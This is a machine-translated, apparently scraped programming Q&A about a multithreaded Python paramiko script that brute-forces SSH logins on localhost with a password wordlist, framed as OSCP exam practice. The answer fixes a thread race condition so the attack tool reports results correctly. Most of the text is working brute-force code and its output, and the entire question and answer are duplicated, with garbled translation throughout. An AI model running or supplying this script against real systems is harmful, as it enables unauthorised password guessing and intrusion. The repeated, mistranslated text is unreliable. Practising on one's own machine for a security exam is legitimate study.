Python 个线程无序关闭
Python threads closing out of order
所以我有一个项目的多线程 Python 3.7
脚本,它试图在我的本地机器上暴力破解端口 22(准备 OSCP 考试)。
脚本使用字典攻击来暴力破解端口。
我遇到的问题是当脚本打印出每次成功或失败的尝试时。最后它应该停止,最后一个值或一组值是添加到 found
列表中的值。
实际发生的是打印出正确的密码,然后是另一个失败的密码。哪一个取决于有多少线程 运行.
我认为这与我处理线程的方式有关,但我不知道我做错了什么。
import paramiko
import threading
from queue import Queue
TARGET_IP = 'localhost'
USERNAME = 'targetuser'
WORDLIST = 'test2.txt'
MAX_THREADS = 20
found = []
q = Queue()
def ssh_connect(target_ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(target_ip, username=username, password=password)
found.append(password)
q.put(password)
except paramiko.ssh_exception.AuthenticationException:
print("[*] Failed: ", password)
return False
finally:
ssh.close()
return True
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
thread_count = 0
except KeyboardInterrupt:
break
if not q.empty() and len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
if __name__ == '__main__':
main()
输出:
python3 ssh_brute.py
[*] Failed: josa10
[*] Failed: josa0823
[*] Failed: josa123
[*] Failed: josa070601
[*] Failed: josa004
[*] Failed: josa13
[*] Failed: josa0119
[*] Failed: josa-jones
[*] Failed: josa0131
[*] Failed: josa12
[*] Failed: josa08
[*] Failed: josa16
[*] Failed: josa122387
[*] Failed: josa04
[*] Failed: josa-young
[*] Failed: josa02
[*] Failed: josa-a
[*] Failed: josa143
[*] Failed: josa15
[!] Found: super_secret_password
[*] Failed: josa1856
根据以下答案更正了代码:
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
threads = []
thread_count = 0
except KeyboardInterrupt:
break
for t in threads:
t.join()
# if not q.empty() and len(found) > 0:
if len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
这里有几个问题:
1) 代码在启动线程后立即检查 q
是否为空。问题是,在您进行检查之前,无法知道线程何时 运行 以及它是否会在 q
中放入匹配的密码 - 事实上,它很有可能获胜't.
2) MAX_THREADS 循环实际上应该清空数组。 threads = []
3) 添加另一个循环以加入for 循环之外的运行ning 线程。这将确保所有线程在代码检查结果之前完成。 (编辑:)这将在打印成功消息之前打印所有失败的消息。
请记住,启动线程是(在大多数语言中)同时拥有函数 运行 和当前启动线程的 运行ning 函数的一种方式。所以时机会变得非常时髦。您所看到的通常被视为 "race condition"。大多数你可以修复。其他的……嗯……
所以我有一个项目的多线程 Python 3.7
脚本,它试图在我的本地机器上暴力破解端口 22(准备 OSCP 考试)。
脚本使用字典攻击来暴力破解端口。
我遇到的问题是当脚本打印出每次成功或失败的尝试时。最后它应该停止,最后一个值或一组值是添加到 found
列表中的值。
实际发生的是打印出正确的密码,然后是另一个失败的密码。哪一个取决于有多少线程 运行.
我认为这与我处理线程的方式有关,但我不知道我做错了什么。
import paramiko
import threading
from queue import Queue
TARGET_IP = 'localhost'
USERNAME = 'targetuser'
WORDLIST = 'test2.txt'
MAX_THREADS = 20
found = []
q = Queue()
def ssh_connect(target_ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(target_ip, username=username, password=password)
found.append(password)
q.put(password)
except paramiko.ssh_exception.AuthenticationException:
print("[*] Failed: ", password)
return False
finally:
ssh.close()
return True
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
thread_count = 0
except KeyboardInterrupt:
break
if not q.empty() and len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
if __name__ == '__main__':
main()
输出:
python3 ssh_brute.py
[*] Failed: josa10
[*] Failed: josa0823
[*] Failed: josa123
[*] Failed: josa070601
[*] Failed: josa004
[*] Failed: josa13
[*] Failed: josa0119
[*] Failed: josa-jones
[*] Failed: josa0131
[*] Failed: josa12
[*] Failed: josa08
[*] Failed: josa16
[*] Failed: josa122387
[*] Failed: josa04
[*] Failed: josa-young
[*] Failed: josa02
[*] Failed: josa-a
[*] Failed: josa143
[*] Failed: josa15
[!] Found: super_secret_password
[*] Failed: josa1856
根据以下答案更正了代码:
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
threads = []
thread_count = 0
except KeyboardInterrupt:
break
for t in threads:
t.join()
# if not q.empty() and len(found) > 0:
if len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
这里有几个问题:
1) 代码在启动线程后立即检查 q
是否为空。问题是,在您进行检查之前,无法知道线程何时 运行 以及它是否会在 q
中放入匹配的密码 - 事实上,它很有可能获胜't.
2) MAX_THREADS 循环实际上应该清空数组。 threads = []
3) 添加另一个循环以加入for 循环之外的运行ning 线程。这将确保所有线程在代码检查结果之前完成。 (编辑:)这将在打印成功消息之前打印所有失败的消息。
请记住,启动线程是(在大多数语言中)同时拥有函数 运行 和当前启动线程的 运行ning 函数的一种方式。所以时机会变得非常时髦。您所看到的通常被视为 "race condition"。大多数你可以修复。其他的……嗯……